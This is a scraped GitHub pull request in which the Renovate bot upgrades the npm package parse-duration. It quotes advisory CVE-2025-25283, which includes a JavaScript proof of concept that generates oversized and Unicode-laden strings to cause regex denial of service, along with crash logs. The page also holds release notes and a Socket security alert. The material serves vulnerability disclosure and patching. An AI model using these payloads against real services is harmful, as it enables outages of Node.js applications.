You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
This report finds 2 availability issues due to the regex used in the parse-duration npm package:
An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.
An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.
PoC
Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:
// Vulnerable regex to use from the library:importparsefrom'./index.js'functiongenerateStressTestString(length,decimalProbability){letresult="";for(leti=0;i<length;i++){if(Math.random()<decimalProbability){result+="....".repeat(99);}result+=Math.floor(Math.random()*10);}returnresult;}functiongetStringSizeInMB_UTF8(str){constsizeInBytes=Buffer.byteLength(str,'utf8');constsizeInMB=sizeInBytes/(1024*1024);returnsizeInMB;}// Generate test strings with varying length and decimal probability:constlongString1=generateStressTestString(380,0.05);constlongString2=generateStressTestString(10000,0.9);constlongString3=generateStressTestString(500000,1);constlongStringVar1='-1e'+'-----'.repeat(915000)constlongStringVar2="1"+"0".repeat(500)+"e1"+"α".repeat(5225000)functiontestRegex(str){conststartTime=performance.now();// one of the regex's used in the library:// const durationRE = /(-?(?:\d+\.?\d*|\d*\.?\d+)(?:e[-+]?\d+)?)\s*([\p{L}]*)/giu;// const match = durationRE.test(str);// but we will use the exported library code directly:constmatch=parse(str);constendTime=performance.now();consttimeTaken=endTime-startTime;return{ timeTaken, match };}// Test the long strings:letresult={}{console.log(`\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`);result=testRegex(longString1);console.log(` matched: ${result.match}, time taken: ${result.timeTaken}ms`);}{console.log(`\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`);result=testRegex(longString2+"....".repeat(100)+"5сек".repeat(9000));console.log(` matched: ${result.match}, time taken: ${result.timeTaken}ms`);}{console.log(`\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`);result=testRegex(longStringVar1);console.log(` matched: ${result.match}, time taken: ${result.timeTaken}ms`);}{console.log(`\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`);result=testRegex(longString3+'.'.repeat(10000)+" 5сек".repeat(9000));console.log(` matched: ${result.match}, time taken: ${result.timeTaken}ms`);}{console.log(`\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`);result=testRegex(longStringVar2);console.log(` matched: ${result.match}, time taken: ${result.timeTaken}ms`);}
The results of this on the cloud machine that I ran this on are as follows:
@​lirantal ➜ /workspaces/parse-duration (master) $ node redos.js
Regex test on string of length 6320 (size: 0.01 MB):
matched: 5997140778.000855, time taken: 0.9271340000000237ms
Regex test on string of length 3561724 (size: 3.40 MB):
matched: 0.0006004999999999999, time taken: 728.7693149999999ms
Regex test on string of length 4575003 (size: 4.36 MB):
matched: null, time taken: 43.713984999999866ms
Regex test on string of length 198500000 (size: 189.30 MB):
<--- Last few GCs --->
[34339:0x7686430] 14670 ms: Mark-Compact (reduce) 2047.4 (2073.3) -> 2047.4 (2074.3) MB, 1396.70 / 0.01 ms (+ 0.1 ms in 62 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 1430 ms) (average mu = 0.412, current mu = 0.[34339:0x7686430] 17450 ms: Mark-Compact (reduce) 2048.4 (2074.3) -> 2048.4 (2075.3) MB, 2777.68 / 0.00 ms (average mu = 0.185, current mu = 0.001) allocation failure; scavenge might not succeed
<--- JS stacktrace --->
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
----- Native stack trace -----
1: 0xb8d0a3 node::OOMErrorHandler(char const*, v8::OOMDetails const&) [node]
2: 0xf06250 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]
3: 0xf06537 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]
4: 0x11180d5 [node]
5: 0x112ff58 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node]
6: 0x1106071 v8::internal::HeapAllocator::AllocateRawWithLightRetrySlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]
7: 0x1107205 v8::internal::HeapAllocator::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]
8: 0x10e4856 v8::internal::Factory::NewFillerObject(int, v8::internal::AllocationAlignment, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node]
9: 0x1540686 v8::internal::Runtime_AllocateInYoungGeneration(int, unsigned long*, v8::internal::Isolate*) [node]
10: 0x1979ef6 [node]
Aborted (core dumped)
You can note that:
0.01 MB of input was enough to cause a 1ms delay (0.92ms)
Ranging from either 3 MB to 4 MB of input results in almost a full second day (728ms) and 42 ms, depending on the characters used in the text passed to the library's parse() function
A 200 MB of input size already causes JavaScript heap out of memory crash
However, more interestingly, if we focus on the input string case:
Even though this is merely 10 MB of size (9.97 MB) it results in an out of memory issue due to the recursive nature of the regular expression matching:
Regex test on string of length 5225503 (size: 9.97 MB):
file:///workspaces/parse-duration/index.js:21
.replace(durationRE, (_, n, units) => {
^
RangeError: Maximum call stack size exceeded
at String.replace (<anonymous>)
at parse (file:///workspaces/parse-duration/index.js:21:6)
at testRegex (file:///workspaces/parse-duration/redos.js:35:17)
at file:///workspaces/parse-duration/redos.js:89:12
at ModuleJob.run (node:internal/modules/esm/module_job:234:25)
at async ModuleLoader.import (node:internal/modules/esm/loader:473:24)
at async asyncRunEntryPointWithESMLoader (node:internal/modules/run_main:122:5)
Node.js v20.18.1
To note, the issue at hand may not just be the primary regex in use but rather the reliance of the various replace functions in the parse() function which create copies of the input in memory.
Impact
I agree, a 200 MB (perhaps even less if we perform more tests to find the actual threshold) is a large amount of data to send over a network and hopefully is unlikely to hit common application usage.
In the case of the specialized input string case that uses a UTF-8 character it is only requires up to 10 MB of request size to cause a RangeError exception for a running Node.js application, which I think is more applicable and common to allow such input sizes for POST requests and other types.
Even for the smaller payloads such as 0.01 MB which aligns with Express's default of 100kb request limit size it causes a 1ms delay. Now imagine if an application is running without proper security controls such as rate limits, and attackers send 1000s of concurrent requests which quickly turn the 1ms delay into seconds worth of delay for a running application. The 3 MB payload already shows a 0.5s delay in one request.
Next steps: Take a moment to review the security alert
above. Review the linked package source code to understand the potential
risk. Ensure the package is not malicious before proceeding. If you're
unsure how to proceed, reach out to your security team or ask the Socket
team for help at support@socket.dev.
Suggestion: Remove or replace dependencies that include known critical CVEs. Consumers can use dependency overrides or npm audit fix --force to remove vulnerable dependencies.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/form-data@4.0.0. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
renovate
bot
force-pushed
the
renovate/npm-parse-duration-vulnerability
branch
from
This PR contains the following updates:
^1.1.0->^2.0.0GitHub Vulnerability Alerts
CVE-2025-25283
Summary
This report finds 2 availability issues due to the regex used in the
parse-durationnpm package:PoC
Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:
The results of this on the cloud machine that I ran this on are as follows:
You can note that:
parse()functionHowever, more interestingly, if we focus on the input string case:
Even though this is merely 10 MB of size (9.97 MB) it results in an out of memory issue due to the recursive nature of the regular expression matching:
To note, the issue at hand may not just be the primary regex in use but rather the reliance of the various
replacefunctions in theparse()function which create copies of the input in memory.Impact
Release Notes
jkroso/parse-duration (parse-duration)
v2.1.3Compare Source
What's Changed
Full Changelog: jkroso/parse-duration@v2.1.2...v2.1.3
v2.1.2Compare Source
What's Changed
mo,mth,microsec,nanosecbabbrμas greek mu in favor ofµleft in default setFull Changelog: jkroso/parse-duration@v2.1.1...v2.1.2
v2.1.1Compare Source
v2.1.0Compare Source
v2.0.2Compare Source
v2.0.1Compare Source
v2.0.0Compare Source
parse.unitobject #56v1.1.2Compare Source
What's Changed
nullinstead ofundefinedby @Mykhailo-Sichkaruk in #53New Contributors
Full Changelog: jkroso/parse-duration@v0.4.0...v1.1.2
v1.1.1Compare Source
Configuration
📅 Schedule: Branch creation - "" in timezone Europe/Paris, Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.